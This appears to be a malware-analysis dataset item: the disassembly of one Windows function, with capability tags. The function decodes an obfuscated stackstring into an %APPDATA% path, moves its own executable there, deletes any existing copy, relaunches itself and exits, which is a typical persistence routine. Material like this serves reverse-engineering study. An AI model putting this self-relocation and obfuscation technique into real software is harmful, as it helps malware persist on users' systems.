Function at 0x1400012a0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Delete file
Get file attributes
Move file
Query environment variable
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x510], rax
xor r15d, r15d
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x50], 0x420026
mov dword [rsp + 0x54], 0x510051
mov dword [rsp + 0x58], 0x420045
mov dword [rsp + 0x5c], 0x420055
mov dword [rsp + 0x60], 0x5d0026
mov dword [rsp + 0x64], 0x6a004e
mov dword [rsp + 0x68], 0x730064
mov dword [rsp + 0x6c], 0x740070
mov dword [rsp + 0x70], 0x670070
mov dword [rsp + 0x74], 0x5d0075
mov dword [rsp + 0x78], 0x6a0058
mov dword [rsp + 0x7c], 0x65006f
mov dword [rbp - 0x80], 0x780070
mov dword [rbp - 0x7c], 0x5d0074
mov dword [rbp - 0x78], 0x750054
mov dword [rbp - 0x74], 0x730062
mov dword [rbp - 0x70], 0x210075
mov dword [rbp - 0x6c], 0x66004e
mov dword [rbp - 0x68], 0x76006f
mov dword [rbp - 0x64], 0x51005d
mov dword [rbp - 0x60], 0x700073
mov esi, 0x68
mov dword [rbp - 0x5c], 0x730068
mov dword [rbp - 0x58], 0x6e0062
mov dword [rbp - 0x54], 0x5d0074
mov dword [rbp - 0x50], 0x750054
mov dword [rbp - 0x4c], 0x730062
mov dword [rbp - 0x48], 0x760075
mov dword [rbp - 0x44], 0x10071
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov ecx, r15d
mov qword [rbp + 0x50], rcx
mov edx, 7
mov qword [rbp + 0x58], rdx
mov word [rbp + 0x40], r15w
mov ebx, r15d
movzx r9d, word [rsp + rbx*2 + 0x50]
dec r9w
cmp rcx, rdx
jae 0x140001411
lea rax, [rcx + 1]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x40]
cmp rdx, 7
cmova rax, qword [rbp + 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x14000141a
lea rcx, [rbp + 0x40]
call fcn.140003150
inc rbx
cmp rbx, 0x37
jae 0x14000142d
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
jmp 0x1400013e0
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rcx, qword [rbp + 0x40]
mov r8d, 0x104
lea rdx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edx, 0x5c
lea rcx, [rbp + 0xf0]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
lea rdx, [rax + 2]
lea rcx, [rbp + 8]
call fcn.140002b10
mov rbx, rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp - 0x18]
call fcn.140002b10
nop
lea rdx, [0x140005494]
mov rcx, rax
call fcn.140002cb0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov r9, rbx
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x60]
call fcn.140003630
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x140001504
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400014fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
nop
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140001547
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001542
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001542
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
movdqa xmm0, xmmword [0x1400055d0]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r15w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x14000159c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001597
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001597
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 0x5c
lea rcx, [rbp + 0xf0]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
lea rdx, [rax + 2]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x1400016e1
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400016e1
lea rcx, [rbp + 0x60]
call fcn.140002a90
mov rdx, rax
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x14000163b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000163b
lea rcx, [rbp + 0x60]
call fcn.140002a90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x60]
call fcn.140002a90
mov rdx, rax
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [rbp + 0x80], esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
lea rcx, [rbp + 0x60]
call fcn.140002a90
mov rcx, rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400016d8
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140001724
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000171f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000171f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
movdqa xmm0, xmmword [0x1400055d0]
movdqu xmmword [rbp + 0x70], xmm0
mov word [rbp + 0x60], r15w
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140001779
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001774
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003e18
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140003c40
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret